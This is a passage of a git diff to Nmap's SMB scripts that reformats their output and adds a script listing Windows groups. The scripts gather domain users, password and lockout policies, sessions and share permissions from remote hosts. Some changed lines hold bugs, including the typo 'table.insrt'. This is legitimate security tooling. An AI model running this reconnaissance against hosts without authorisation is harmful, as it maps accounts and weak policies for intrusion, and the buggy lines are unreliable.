status, connect4_result = msrpc.samr_connect4(smbstate, host.ip)
if(status == false) then
- msrpc.stop_smb(smbstate)
- if(nmap.debugging() > 0) then
- return "ERROR: " .. connect4_result
- else
- return nil
- end
+ return stdnse.format_output(false, connect4_result)
end
-- Save the connect_handle
@@ -111,170 +250,27 @@ action = function(host)
-- Call EnumDomains()
status, enumdomains_result = msrpc.samr_enumdomains(smbstate, connect_handle)
if(status == false) then
- msrpc.stop_smb(smbstate)
- if(nmap.debugging() > 0) then
- return "ERROR: " .. enumdomains_result
- else
- return nil
- end
+ return stdnse.format_output(false, enumdomains_result)
end
-- If no domains were returned, print an error (I don't expect this will actually happen)
if(#enumdomains_result['sam']['entries'] == 0) then
- if(nmap.debugging() > 0) then
- return "ERROR: Couldn't find any domains to check"
- else
- return nil
- end
+ return stdnse.format_output(false, "Couldn't find any domains")
end
for i = 1, #enumdomains_result['sam']['entries'], 1 do
-
local domain = enumdomains_result['sam']['entries'][i]['name']
- local sid
- local domain_handle
+ local status, domain_info = get_domain_info(smbstate, domain)
- -- Call LookupDomain()
- status, lookupdomain_result = msrpc.samr_lookupdomain(smbstate, connect_handle, domain)
- if(status == false) then
- msrpc.stop_smb(smbstate)
- if(nmap.debugging() > 0) then
- return "ERROR: " .. lookupdomain_result
- else
- return nil
- end
- end
- -- Save the sid
- sid = lookupdomain_result['sid']
-
- -- Call OpenDomain()
- status, opendomain_result = msrpc.samr_opendomain(smbstate, connect_handle, sid)
- if(status == false) then
- msrpc.stop_smb(smbstate)
- if(nmap.debugging() > 0) then
- return "ERROR: " .. opendomain_result
- else
- return nil
- end
- end
-
- -- Save the domain handle
- domain_handle = opendomain_result['domain_handle']
-
- -- Call QueryDomainInfo2() to get domain properties. We call these for three types -- 1, 8, and 12, since those return
- -- the most useful information.
- status_1, querydomaininfo2_result_1 = msrpc.samr_querydomaininfo2(smbstate, domain_handle, 1)
- status_8, querydomaininfo2_result_8 = msrpc.samr_querydomaininfo2(smbstate, domain_handle, 8)
- status_12, querydomaininfo2_result_12 = msrpc.samr_querydomaininfo2(smbstate, domain_handle, 12)
-
- if(status_1 == false) then
- msrpc.stop_smb(smbstate)
- if(nmap.debugging() > 0) then
- return "ERROR: " .. querydomaininfo2_result_1
- else
- return nil
- end
- end
- if(status_8 == false) then
- msrpc.stop_smb(smbstate)
- if(nmap.debugging() > 0) then
- return "ERROR: " .. querydomaininfo2_result_8
- else
- return nil
- end
- end
- if(status_12 == false) then
- msrpc.stop_smb(smbstate)
- if(nmap.debugging() > 0) then
- return "ERROR: " .. querydomaininfo2_result_12
- else
- return nil
- end
- end
-
- -- Call EnumDomainUsers() to get users
- status, enumdomainusers_result = msrpc.samr_enumdomainusers(smbstate, domain_handle)
- if(status == false) then
- msrpc.stop_smb(smbstate)
- if(nmap.debugging() > 0 and enumdomainusers_result ~= nil) then
- return "ERROR: " .. enumdomainusers_result
- else
- return nil
- end
- end
-
- -- Close the domain handle
- msrpc.samr_close(smbstate, domain_handle)
-
- -- Create the list of users
- local names = {}
- if(enumdomainusers_result['sam'] ~= nil and enumdomainusers_result['sam']['entries'] ~= nil) then
- for j = 1, #enumdomainusers_result['sam']['entries'], 1 do
- local name = enumdomainusers_result['sam']['entries'][j]['name']
- names[#names + 1] = name
- end
- end
-
- -- Finally, fill in the response!
- response = response .. string.format("Domain: %s\n", domain)
- response = response .. string.format(" |_ SID: %s\n", lookupdomain_result['sid'])
- if(#names ~= 0) then
- response = response .. string.format(" |_ Users: %s\n", stdnse.strjoin(", ", names))
- end
-
- if(querydomaininfo2_result_8['info']['domain_create_time'] ~= 0) then
- response = response .. string.format(" |_ Creation time: %s\n", os.date("%Y-%m-%d %H:%M:%S", querydomaininfo2_result_8['info']['domain_create_time']))
- end
-
- -- Password characteristics
- local min_password_length = querydomaininfo2_result_1['info']['min_password_length']
- local max_password_age = querydomaininfo2_result_1['info']['max_password_age'] / 60 / 60 / 24
- local min_password_age = querydomaininfo2_result_1['info']['min_password_age'] / 60 / 60 / 24
-
- if(min_password_length > 0) then
- min_password_length = string.format("%d characters", min_password_length)
+ if(not(status)) then
+ local error_table = {}
+ error_table['name'] = "Domain: " .. domain
+ error_table['warning'] = "Couldn't get info for the domain: " .. domain_info
+ table.insert(response, error_table)
else
- min_password_length = "n/a"
+ table.insert(response, domain_info)
end
- if(max_password_age > 0 and max_password_age < 5000) then
- max_password_age = string.format("%d days", max_password_age)
- else
- max_password_age = "n/a"
- end
-
- if(min_password_age > 0) then
- min_password_age = string.format("%d days", min_password_age)
- else
- min_password_age = "n/a"
- end
-
- response = response .. string.format(" |_ Passwords: min length: %s; min age: %s; max age: %s\n", min_password_length, min_password_age, max_password_age)
-
- local lockout_duration = querydomaininfo2_result_12['info']['lockout_duration']
- if(lockout_duration < 0) then
- lockout_duration = string.format("for %d minutes", querydomaininfo2_result_12['info']['lockout_duration'])
- else
- lockout_duration = "until manually reset"
- end
-
- if(querydomaininfo2_result_12['info']['lockout_threshold'] > 0) then
- response = response .. string.format(" |_ Password lockout: %d attempts in under %d minutes will lock the account %s\n", querydomaininfo2_result_12['info']['lockout_threshold'], querydomaininfo2_result_12['info']['lockout_window'] / 60, lockout_duration)
- else
- response = response .. string.format(" |_ Account lockout disabled\n")
- end
-
- if(querydomaininfo2_result_1['info']['password_history_length']) > 0 then
- response = response .. string.format(" |_ Password history: %d passwords\n", querydomaininfo2_result_1['info']['password_history_length'])
- end
-
- local password_properties = querydomaininfo2_result_1['info']['password_properties']
- if(#password_properties > 0) then
- response = response .. " |_ Password properties:\n"
- for j = 1, #password_properties, 1 do
- response = response .. " |_ " .. msrpc.samr_PasswordProperties_tostr(password_properties[j]) .. "\n"
- end
- end
end
-- Close the connect handle
@@ -283,8 +279,6 @@ action = function(host)
-- Close the SMB session
msrpc.stop_smb(smbstate)
- return response
-
+ return stdnse.format_output(true, response)
end
-
diff --git a/scripts/smb-enum-groups.nse b/scripts/smb-enum-groups.nse
new file mode 100644
index 000000000..b107ced0a
--- /dev/null
+++ b/scripts/smb-enum-groups.nse
@@ -0,0 +1,92 @@
+description = [[
+Obtains a list of groups from the remote Windows system, as well as a list of the group's users.
+This works similarly to enum.exe with the /G switch.
+
+The following MSRPC functions in SAMR are used to find a list of groups and the RIDs of their users. Keep
+in mind thatMSRPC refers to groups as 'Aliases'.
+
+* Bind: bind to the SAMR service.
+* Connect4: get a connect_handle.
+* EnumDomains: get a list of the domains.
+* LookupDomain: get the RID of the domains.
+* OpenDomain: get a handle for each domain.
+* EnumDomainAliases: get the list of groups in the domain.
+* OpenAlias: get a handle to each group.
+* GetMembersInAlias: get the RIDs of the members in the groups.
+* Close: close the alias handle.
+* Close: close the domain handle.
+* Close: close the connect handle.
+
+Once the RIDs have been termined, the
+* Bind: bind to the LSA service.
+* OpenPolicy2: get a policy handle.
+* LookupSids2: convert SIDs to usernames.
+
+I (Ron Bowes) originally looked into the possibility of using the SAMR function LookupRids2
+to convert RIDs to usernames, but the function seemed to return a fault no matter what I tried. Since
+enum.exe also switches to LSA to convert RIDs to usernames, I figured they had the same issue and I do
+the same thing.
+]]
+
+---
+-- @usage
+-- nmap --script smb-enum-users.nse -p445
+-- sudo nmap -sU -sS --script smb-enum-users.nse -p U:137,T:139
+--
+-- @output
+-- Host script results:
+-- | smb-enum-groups:
+-- | | WINDOWS2003\HelpServicesGroup: SUPPORT_388945a0
+-- | | WINDOWS2003\IIS_WPG: SYSTEM, SERVICE, NETWORK SERVICE, IWAM_WINDOWS2003
+-- | | WINDOWS2003\TelnetClients:
+-- | | Builtin\Print Operators:
+-- | | Builtin\Replicator:
+-- | | Builtin\Network Configuration Operators:
+-- | | Builtin\Performance Monitor Users:
+-- | | Builtin\Users: INTERACTIVE, Authenticated Users, ron, ASPNET, test
+-- | | Builtin\Power Users:
+-- | | Builtin\Backup Operators:
+-- | | Builtin\Remote Desktop Users:
+-- | | Builtin\Administrators: Administrator, ron, test
+-- | | Builtin\Performance Log Users: NETWORK SERVICE
+-- | | Builtin\Guests: Guest, IUSR_WINDOWS2003
+-- |_ |_ Builtin\Distributed COM Users:
+-----------------------------------------------------------------------
+
+author = "Ron Bowes"
+copyright = "Ron Bowes"
+license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
+categories = {"discovery","intrusive"}
+
+require 'msrpc'
+require 'smb'
+require 'stdnse'
+
+hostrule = function(host)
+ return smb.get_port(host) ~= nil
+end
+
+action = function(host)
+ local status, groups = msrpc.samr_enum_groups(host)
+ if(not(status)) then
+ return stdnse.format_output(false, "Couldn't enumerate groups: " .. groups)
+ end
+
+ local response = {}
+
+ for domain_name, domain_data in pairs(groups) do
+
+ for rid, group_data in pairs(domain_data) do
+ local members = group_data['members']
+ if(#members > 0) then
+ members = stdnse.strjoin(", ", group_data['members'])
+ else
+ members = ""
+ end
+ table.insert(response, string.format("%s\\%s (RID: %s): %s", domain_name, group_data['name'], rid, members))
+ end
+ end
+
+ return stdnse.format_output(true, response)
+end
+
diff --git a/scripts/smb-enum-processes.nse b/scripts/smb-enum-processes.nse
index 4a2043eed..b0fb70594 100644
--- a/scripts/smb-enum-processes.nse
+++ b/scripts/smb-enum-processes.nse
@@ -25,7 +25,7 @@ impact the system, besides showing a message box to the user.
-- @output
-- Host script results:
-- | smb-enum-processes:
--- |_ Idle, System, smss, csrss, winlogon, services, logon.scr, lsass, spoolsv, msdtc, VMwareService, svchost, alg, explorer, VMwareTray, VMwareUser, wmiprvse
+-- |_ |_ Idle, System, smss, csrss, winlogon, services, logon.scr, lsass, spoolsv, msdtc, VMwareService, svchost, alg, explorer, VMwareTray, VMwareUser, wmiprvse
--
-- --
-- Host script results:
@@ -281,7 +281,7 @@ action = function(host)
-- Produce final output.
if nmap.verbosity() == 0 then
- response = stdnse.strjoin(", ", names)
+ response = "|_ " .. stdnse.strjoin(", ", names)
else
response = " \n" .. psl_print(psl, nmap.verbosity())
end
diff --git a/scripts/smb-enum-sessions.nse b/scripts/smb-enum-sessions.nse
index 4ba14830a..f09db91a1 100644
--- a/scripts/smb-enum-sessions.nse
+++ b/scripts/smb-enum-sessions.nse
@@ -48,7 +48,7 @@ the system, besides showing a message box to the user.
-- Host script results:
-- | smb-enum-sessions:
-- | Users logged in:
--- | |_ TESTBOX\Administrator since 2008-10-21 08:17:14
+-- | | TESTBOX\Administrator since 2008-10-21 08:17:14
-- | |_ DOMAIN\rbowes since 2008-10-20 09:03:23
-- | Active SMB Sessions:
-- |_ |_ ADMINISTRATOR is connected from 10.100.254.138 for [just logged in, it's probably you], idle for [not idle]
@@ -264,39 +264,41 @@ end
action = function(host)
-- TRACEBACK[coroutine.running()] = true;
- local response = " \n"
+ local response = {}
local status1, status2
-- Enumerate the logged in users
+ local logged_in = {}
+ logged_in['name'] = "Users logged in"
status1, users = winreg_enum_rids(host)
if(status1 == false) then
- response = response .. "ERROR: Couldn't enumerate login sessions: " .. users .. "\n"
+ logged_in['warning'] = "Couldn't enumerate login sessions: " .. users
else
- response = response .. "Users logged in:\n"
if(#users == 0) then
- response = response .. "|_ \n"
+ table.insrt(response, "")
else
for i = 1, #users, 1 do
if(users[i]['name'] ~= nil) then
- response = response .. string.format("|_ %s\\%s since %s\n", users[i]['domain'], users[i]['name'], users[i]['changed_date'])
+ table.insert(logged_in, string.format("%s\\%s since %s", users[i]['domain'], users[i]['name'], users[i]['changed_date']))
end
end
end
end
+ table.insert(response, logged_in)
-- Get the connected sessions
+ local sessions_output = {}
+ sessions_output['name'] = "Active SMB sessions"
status2, sessions = srvsvc_enum_sessions(host)
if(status2 == false) then
- response = response .. "ERROR: Couldn't enumerate network sessions: " .. sessions .. "\n"
+ sessions['warning'] = "Couldn't enumerate network sessions: " .. sessions
else
- response = response .. "Active SMB Sessions:\n"
if(#sessions == 0) then
- response = response .. "|_ \n"
+ table.insert(sessions_output, "")
else
-- Format the result
for i = 1, #sessions, 1 do
-
local time = sessions[i]['time']
if(time == 0) then
time = "[just logged in, it's probably you]"
@@ -318,21 +320,14 @@ action = function(host)
else
idle_time = string.format("%02dm%02ds", idle_time / 60, idle_time % 60)
end
-
- response = response .. string.format("|_ %s is connected from %s for %s, idle for %s\n", sessions[i]['user'], sessions[i]['client'], time, idle_time)
+
+ table.insert(sessions_output, string.format("%s is connected from %s for %s, idle for %s", sessions[i]['user'], sessions[i]['client'], time, idle_time))
end
end
end
+ table.insert(response, sessions_output)
- if(status1 == false and status2 == false) then
- if(nmap.debugging() > 0) then
- return response
- else
- return nil
- end
- else
- return response
- end
+ return stdnse.format_output(true, response)
end
diff --git a/scripts/smb-enum-shares.nse b/scripts/smb-enum-shares.nse
index 5a2fcfacf..b65c5d741 100644
--- a/scripts/smb-enum-shares.nse
+++ b/scripts/smb-enum-shares.nse
@@ -29,36 +29,28 @@ for shares that require a user account.
--
--@output
-- Host script results:
--- | smb-enum-shares:
--- | ADMIN$
--- | |_ Type: STYPE_DISKTREE_HIDDEN
--- | |_ Comment: Remote Admin
--- | |_ Users: 0, Max:
--- | |_ Path: C:\WINNT
--- | |_ Anonymous access:
--- | |_ Current user ('test') access: READ/WRITE
--- | C$
--- | |_ Type: STYPE_DISKTREE_HIDDEN
--- | |_ Comment: Default share
--- | |_ Users: 0, Max:
--- | |_ Path: C:\
--- | |_ Anonymous access:
--- | |_ Current user ('test') access: READ
--- | IPC$
--- | |_ Type: STYPE_IPC_HIDDEN
--- | |_ Comment: Remote IPC
--- | |_ Users: 1, Max:
--- | |_ Path:
--- | |_ Anonymous access: READ
--- | |_ Current user ('test') access: READ
--- | test
--- | |_ Type: STYPE_DISKTREE
--- | |_ Comment: This is a test share, with a maximum of 7 users
--- | |_ Users: 0, Max: 7
--- | |_ Path: C:\Documents and Settings\Ron\Desktop\test
--- | |_ Anonymous access:
--- |_ |_ Current user ('test') access: READ/WRITE
-
+-- | smb-enum-shares:
+-- | | ADMIN$
+-- | | | Type: STYPE_DISKTREE_HIDDEN
+-- | | | Comment: Remote Admin
+-- | | | Users: 0, Max:
+-- | | | Path: C:\WINNT
+-- | | | Anonymous access:
+-- | | |_ Current user ('administrator') access: READ/WRITE
+-- | | C$
+-- | | | Type: STYPE_DISKTREE_HIDDEN
+-- | | | Comment: Default share
+-- | | | Users: 0, Max:
+-- | | | Path: C:\
+-- | | | Anonymous access:
+-- | | |_ Current user ('administrator') access: READ
+-- | | IPC$
+-- | | | Type: STYPE_IPC_HIDDEN
+-- | | | Comment: Remote IPC
+-- | | | Users: 1, Max:
+-- | | | Path:
+-- | | | Anonymous access: READ
+-- |_ |_ |_ Current user ('administrator') access: READ
-----------------------------------------------------------------------
author = "Ron Bowes"
@@ -74,14 +66,14 @@ hostrule = function(host)
return smb.get_port(host) ~= nil
end
-local function go(host)
+action = function(host)
local status, shares, extra
- local response = " \n"
+ local response = {}
-- Get the list of shares
status, shares, extra = smb.share_get_list(host)
if(status == false) then
- return false, string.format("Couldn't enumerate shares: %s", shares)
+ return stdnse.format_output(false, string.format("Couldn't enumerate shares: %s", shares))
end
-- Find out who the current user is
@@ -91,25 +83,24 @@ local function go(host)
domain = ""
end
- if(extra ~= nil) then
- response = response .. extra .. "\n"
+ if(extra ~= nil and extra ~= '') then
+ table.insert(response, extra)
end
for i = 1, #shares, 1 do
local share = shares[i]
+ local share_output = {}
+ share_output['name'] = share['name']
- -- Start generating a human-readable string
- response = response .. share['name'] .. "\n"
-
if(type(share['details']) ~= 'table') then
- response = response .. string.format("|_ Couldn't get details for share: %s\n", share['details'])
+ share_output['warning'] = string.format("Couldn't get details for share: %s", share['details'])
else
local details = share['details']
- response = response .. string.format("|_ Type: %s\n", details['sharetype'])
- response = response .. string.format("|_ Comment: %s\n", details['comment'])
- response = response .. string.format("|_ Users: %s, Max: %s\n", details['current_users'], details['max_users'])
- response = response .. string.format("|_ Path: %s\n", details['path'])
+ table.insert(share_output, string.format("Type: %s", details['sharetype']))
+ table.insert(share_output, string.format("Comment: %s", details['comment']))
+ table.insert(share_output, string.format("Users: %s, Max: %s", details['current_users'], details['max_users']))
+ table.insert(share_output, string.format("Path: %s", details['path']))
end
@@ -117,64 +108,47 @@ local function go(host)
if(share['user_can_write'] == "NT_STATUS_OBJECT_NAME_NOT_FOUND") then
-- Print details for a non-file share
if(share['anonymous_can_read']) then
- response = response .. "|_ Anonymous access: READ \n"
+ table.insert(share_output, "Anonymous access: READ ")
else
- response = response .. "|_ Anonymous access: \n"
+ table.insert(share_output, "Anonymous access: ")
end
-- Don't bother printing this if we're already anonymous
if(username ~= '') then
if(share['user_can_read']) then
- response = response .. "|_ Current user ('" .. username .. "') access: READ \n"
+ table.insert(share_output, "Current user ('" .. username .. "') access: READ ")
else
- response = response .. "|_ Current user ('" .. username .. "') access: \n"
+ table.insert(share_output, "Current user ('" .. username .. "') access: ")
end
end
else
-- Print details for a file share
if(share['anonymous_can_read'] and share['anonymous_can_write']) then
- response = response .. "|_ Anonymous access: READ/WRITE\n"
+ table.insert(share_output, "Anonymous access: READ/WRITE")
elseif(share['anonymous_can_read'] and not(share['anonymous_can_write'])) then
- response = response .. "|_ Anonymous access: READ\n"
+ table.insert(share_output, "Anonymous access: READ")
elseif(not(share['anonymous_can_read']) and share['anonymous_can_write']) then
- response = response .. "|_ Anonymous access: WRITE\n"
+ table.insert(share_output, "Anonymous access: WRITE")
else
- response = response .. "|_ Anonymous access: \n"
+ table.insert(share_output, "Anonymous access: ")
end
-
-
if(username ~= '') then
if(share['user_can_read'] and share['user_can_write']) then
- response = response .. "|_ Current user ('" .. username .. "') access: READ/WRITE\n"
+ table.insert(share_output, "Current user ('" .. username .. "') access: READ/WRITE")
elseif(share['user_can_read'] and not(share['user_can_write'])) then
- response = response .. "|_ Current user ('" .. username .. "') access: READ\n"
+ table.insert(share_output, "Current user ('" .. username .. "') access: READ")
elseif(not(share['user_can_read']) and share['user_can_write']) then
- response = response .. "|_ Current user ('" .. username .. "') access: WRITE\n"
+ table.insert(share_output, "Current user ('" .. username .. "') access: WRITE")
else
- response = response .. "|_ Current user ('" .. username .. "') access: \n"
+ table.insert(share_output, "Current user ('" .. username .. "') access: ")
end
end
end
+
+ table.insert(response, share_output)
end
- return true, response
+ return stdnse.format_output(true, response)
end
-
-action = function(host)
- local status, result
-
- status, result = go(host)
-
- if(status == false) then
- if(nmap.debugging() > 0) then
- return "ERROR: " .. result
- end
- else
- return result
- end
-end
-
-
-
diff --git a/scripts/smb-enum-users.nse b/scripts/smb-enum-users.nse
index 771b2feee..92b94444e 100644
--- a/scripts/smb-enum-users.nse
+++ b/scripts/smb-enum-users.nse
@@ -99,42 +99,30 @@ the code I wrote for this is largely based on the techniques used by them.
-- @output
-- Host script results:
-- | smb-enum-users:
--- |_ TESTBOX\Administrator, EXTERNAL\DnsAdmins, TESTBOX\Guest,
--- EXTERNAL\HelpServicesGroup, EXTERNAL\PARTNERS$, TESTBOX\SUPPORT_388945a0
+-- |_ |_ Domain: RON-WIN2K-TEST; Users: Administrator, Guest, IUSR_RON-WIN2K-TEST, IWAM_RON-WIN2K-TEST, test1234, TsInternetUser
--
-- Host script results:
-- | smb-enum-users:
--- | Administrator
--- | |_ Type: User
--- | |_ Domain: LOCALSYSTEM
--- | |_ Full name: Built-in account for administering the computer/domain
--- | |_ Flags: Normal account, Password doesn't expire
--- | DnsAdmins
--- | |_ Type: Alias
--- | |_ Domain: EXTRANET
--- | EventViewer
--- | |_ Type: User
--- | |_ Domain: SHARED
--- | ProxyUsers
--- | |_ Type: Group
--- | |_ Domain: EXTRANET
--- | ComputerAccounts
--- | |_ Type: Group
--- | |_ Domain: EXTRANET
--- | Helpdesk
--- | |_ Type: Group
--- | |_ Domain: EXTRANET
--- | Guest
--- | |_ Type: User
--- | |_ Domain: LOCALSYSTEM
--- | |_ Full name: Built-in account for guest access to the computer/domain
--- | |_ Flags: Normal account, Disabled, Password not required, Password doesn't expire
--- | Staff
--- | |_ Type: Alias
--- | |_ Domain: LOCALSYSTEM
--- | Students
--- | |_ Type: Alias
--- |_ |_ Domain: LOCALSYSTEM
+-- | | RON-WIN2K-TEST\Administrator (RID: 500)
+-- | | | Description: Built-in account for administering the computer/domain
+-- | | |_ Flags: Password does not expire, Normal user account
+-- | | RON-WIN2K-TEST\Guest (RID: 501)
+-- | | | Description: Built-in account for guest access to the computer/domain
+-- | | |_ Flags: Password not required, Password does not expire, Normal user account
+-- | | RON-WIN2K-TEST\IUSR_RON-WIN2K-TEST (RID: 1001)
+-- | | | Full name: Internet Guest Account
+-- | | | Description: Built-in account for anonymous access to Internet Information Services
+-- | | |_ Flags: Password not required, Password does not expire, Normal user account
+-- | | RON-WIN2K-TEST\IWAM_RON-WIN2K-TEST (RID: 1002)
+-- | | | Full name: Launch IIS Process Account
+-- | | | Description: Built-in account for Internet Information Services to start out of process applications
+-- | | |_ Flags: Password not required, Password does not expire, Normal user account
+-- | | RON-WIN2K-TEST\test1234 (RID: 1005)
+-- | | |_ Flags: Normal user account
+-- | | RON-WIN2K-TEST\TsInternetUser (RID: 1000)
+-- | | | Full name: TsInternetUser
+-- | | | Description: This user account is used by Terminal Services.
+-- |_ |_ |_ Flags: Password not required, Password does not expire, Normal user account
--
-- @args lsaonly If set, script will only enumerate using an LSA bruteforce (requires less
-- access than samr). Only set if you know what you're doing, you'll get better results
@@ -165,112 +153,109 @@ action = function(host)
local samr_result = "Didn't run"
local lsa_result = "Didn't run"
local names = {}
- local name_strings = {}
- local response = " \n"
+ local names_lookup = {}
+ local response = {}
local samronly = nmap.registry.args.samronly
local lsaonly = nmap.registry.args.lsaonly
local do_samr = samronly ~= nil or (samronly == nil and lsaonly == nil)
local do_lsa = lsaonly ~= nil or (samronly == nil and lsaonly == nil)
- -- Try enumerating through LSA first. Since LSA provides less information, we want the
- -- SAMR result to overwrite it.
- if(do_lsa) then
- lsa_status, lsa_result = msrpc.lsa_enum_users(host)
- if(lsa_status == false) then
- if(nmap.debugging() > 0) then
- response = response .. "ERROR: Couldn't enumerate through LSA: " .. lsa_result .. "\n"
- end
- else
- -- Copy the returned array into the names[] table, using the name as the key
- stdnse.print_debug(2, "EnumUsers: Received %d names from LSA", #lsa_result)
- for i = 1, #lsa_result, 1 do
- if(lsa_result[i]['name'] ~= nil) then
- names[string.upper(lsa_result[i]['name'])] = lsa_result[i]
- end
+ -- Try enumerating through SAMR. This is the better source of information, if we can get it.
+ if(do_samr) then
+ samr_status, samr_result = msrpc.samr_enum_users(host)
+
+ if(samr_status) then
+ -- Copy the returned array into the names[] table
+ stdnse.print_debug(2, "EnumUsers: Received %d names from SAMR", #samr_result)
+ for i = 1, #samr_result, 1 do
+ -- Insert the full info into the names list
+ table.insert(names, samr_result[i])
+ -- Set the names_lookup value to 'true' to avoid duplicates
+ names_lookup[samr_result[i]['name']] = true
end
end
end
- -- Try enumerating through SAMR
- if(do_samr) then
- samr_status, samr_result = msrpc.samr_enum_users(host)
- if(samr_status == false) then
- if(nmap.debugging() > 0) then
- response = response .. "ERROR: Couldn't enumerate through SAMR: " .. samr_result .. "\n"
- end
- else
- -- Copy the returned array into the names[] table, using the name as the key
- stdnse.print_debug(2, "EnumUsers: Received %d names from SAMR", #samr_result)
- for i = 1, #samr_result, 1 do
- names[string.upper(samr_result[i]['name'])] = samr_result[i]
+ -- Try enumerating through LSA.
+ if(do_lsa) then
+ lsa_status, lsa_result = msrpc.lsa_enum_users(host)
+ if(lsa_status) then
+ -- Copy the returned array into the names[] table
+ stdnse.print_debug(2, "EnumUsers: Received %d names from LSA", #lsa_result)
+ for i = 1, #lsa_result, 1 do
+ if(lsa_result[i]['name'] ~= nil) then
+ -- Check if the name already exists
+ if(not(names_lookup[lsa_result[i]['name']])) then
+ table.insert(names, lsa_result[i])
+ end
+ end
end
end
end
-- Check if both failed
if(samr_status == false and lsa_status == false) then
- if(nmap.debugging() > 0) then
- return response
- else
- return nil
+ if(string.find(lsa_result, 'ACCESS_DENIED')) then
+ return stdnse.format_output(false, "Access denied while trying to enumerate users; except against Windows 2000, Guest or better is typically required")
end
+
+ return stdnse.format_output(false, {"Couldn't enumerate users", "SAMR returned " .. samr_result, "LSA returned " .. lsa_result})
end
- -- Put the names into an array of strings, so we can sort them
- for name, details in pairs(names) do
- name_strings[#name_strings + 1] = names[name]['name']
- end
-- Sort them
- table.sort(name_strings, function (a, b) return string.lower(a) < string.lower(b) end)
+ table.sort(names, function (a, b) return string.lower(a.name) < string.lower(b.name) end)
+
+ -- Break them out by domain
+ local domains = {}
+ for _, name in ipairs(names) do
+ local domain = name['domain']
+
+ -- Make sure the entry in the domains table exists
+ if(not(domains[domain])) then
+ domains[domain] = {}
+ end
+
+ table.insert(domains[domain], name)
+ end
-- Check if we actually got any names back
- if(#name_strings == 0) then
- response = response .. "Couldn't find any account names anonymously, sorry!"
+ if(#names == 0) then
+ table.insert(response, "Couldn't find any account names, sorry!")
else
-- If we're not verbose, just print out the names. Otherwise, print out everything we can
if(nmap.verbosity() < 1) then
- local response_array = {}
- for i = 1, #name_strings, 1 do
- local name = string.upper(name_strings[i])
- response_array[#response_array + 1] = (names[name]['domain'] .. "\\" .. names[name]['name'])
- end
-
- response = response .. stdnse.strjoin(", ", response_array)
- else
- for i = 1, #name_strings, 1 do
- local name = string.upper(name_strings[i])
- response = response .. string.format("%s\n", names[name]['name'])
-
- if(names[name]['typestr'] ~= nil) then response = response .. string.format(" |_ Type: %s\n", names[name]['typestr']) end
- if(names[name]['domain'] ~= nil) then response = response .. string.format(" |_ Domain: %s\n", names[name]['domain']) end
- if(nmap.verbosity() > 1) then
- if(names[name]['rid'] ~= nil) then response = response .. string.format(" |_ RID: %s\n", names[name]['rid']) end
+ for domain, domain_users in pairs(domains) do
+ -- Make an impromptu list of users
+ local names = {}
+ for _, info in ipairs(domain_users) do
+ table.insert(names, info['name'])
end
- if(names[name]['fullname'] ~= nil) then response = response .. string.format(" |_ Full name: %s\n", names[name]['fullname']) end
- if(names[name]['description'] ~= nil) then response = response .. string.format(" |_ Description: %s\n", names[name]['description']) end
- if(names[name]['flags'] ~= nil) then response = response .. string.format(" |_ Flags: %s\n", stdnse.strjoin(", ", names[name]['flags'])) end
+ -- Add this domain to the response
+ table.insert(response, string.format("Domain: %s; Users: %s", domain, stdnse.strjoin(", ", names)))
+ end
+ else
+ for domain, domain_users in pairs(domains) do
+ for _, info in ipairs(domain_users) do
+ local response_part = {}
+ response_part['name'] = string.format("%s\\%s (RID: %d)", domain, info['name'], info['rid'])
- if(nmap.verbosity() > 1) then
- if(names[name]['source'] ~= nil) then response = response .. string.format(" |_ Source: %s\n", names[name]['source']) end
+ if(info['fullname']) then
+ table.insert(response_part, string.format("Full name: %s", info['fullname']))
+ end
+ if(info['description']) then
+ table.insert(response_part, string.format("Description: %s", info['description']))
+ end
+ if(info['flags']) then
+ table.insert(response_part, string.format("Flags: %s", stdnse.strjoin(", ", info['flags'])))
+ end
+
+ table.insert(response, response_part)
end
end
end
end
- return response
+ return stdnse.format_output(true, response)
end
---real_action = action
---
--- function action (...)
--- local t = {n = select("#", ...), ...};
--- local status, ret = xpcall(function() return real_action(unpack(t, 1, t.n)) end, debug.traceback)
---
--- if not status then
--- error(ret)
--- end
---
--- return ret
--- end
-
diff --git a/scripts/smb-os-discovery.nse b/scripts/smb-os-discovery.nse
index ccfcd2eb6..5175ff422 100644
--- a/scripts/smb-os-discovery.nse
+++ b/scripts/smb-os-discovery.nse
@@ -27,10 +27,11 @@ they likely won't change the outcome in any meaningful way.
-- sudo nmap -sU -sS --script smb-os-discovery.nse -p U:137,T:139 127.0.0.1
--
--@output
--- | smb-os-discovery: Windows 2000
--- | LAN Manager: Windows 2000 LAN Manager
--- | Name: WORKGROUP\TEST1
--- |_ System time: 2008-09-09 20:55:55 UTC-5
+-- Host script results:
+-- | smb-os-discovery:
+-- | | OS: Windows 2000 (Windows 2000 LAN Manager)
+-- | | Name: WORKGROUP\RON-WIN2K-TEST
+-- |_ |_ System time: 2009-11-09 14:33:39 UTC-6
-----------------------------------------------------------------------
author = "Ron Bowes"
@@ -61,18 +62,18 @@ function get_windows_version(os)
end
action = function(host)
-
+ local response = {}
local status, result = smb.get_os(host)
if(status == false) then
- if(nmap.debugging() > 0) then
- return "smb-os-discovery: ERROR: " .. result
- else
- return nil
- end
+ return stdnse.format_output(false, result)
end
- return string.format("%s\nLAN Manager: %s\nName: %s\\%s\nSystem time: %s %s\n", get_windows_version(result['os']), result['lanmanager'], result['domain'], result['server'], result['date'], result['timezone_str'])
+ table.insert(response, string.format("OS: %s (%s)", get_windows_version(result['os']), result['lanmanager']))
+ table.insert(response, string.format("Name: %s\\%s", result['domain'], result['server']))
+ table.insert(response, string.format("System time: %s %s", result['date'], result['timezone_str']))
+
+ return stdnse.format_output(true, response)
end
diff --git a/scripts/smb-psexec.nse b/scripts/smb-psexec.nse
index decc234f5..8c3a8b6d8 100644
--- a/scripts/smb-psexec.nse
+++ b/scripts/smb-psexec.nse
@@ -304,32 +304,82 @@ Some ideas for later versions:
--
-- @output
-- Host script results:
--- | smb-psexec:
--- | IP Address and MAC Address from 'ipconfig.exe'
--- | | Ethernet adapter Local Area Connection:
--- | | MAC Address: 00:0C:29:12:E6:DB
--- | |_ IP Address: 192.168.1.21
--- |
--- | User list from 'net user'
--- | | Administrator Guest ron
--- | |_SUPPORT_388945a0 test
--- |
--- | Membership of 'administrators' from 'net localgroup administrators'
--- | | Administrator
--- | | ron
--- | |_test
--- |
--- | Can the host ping our address?
--- | | Pinging 192.168.1.100 with 32 bytes of data:
--- | |_Reply from 192.168.1.100: bytes=32 time<1ms TTL=64
--- |
--- | Traceroute back to the scanner
--- | |_ 1 <1 ms <1 ms <1 ms 192.168.1.100
--- |
--- | ARP Cache from arp.exe
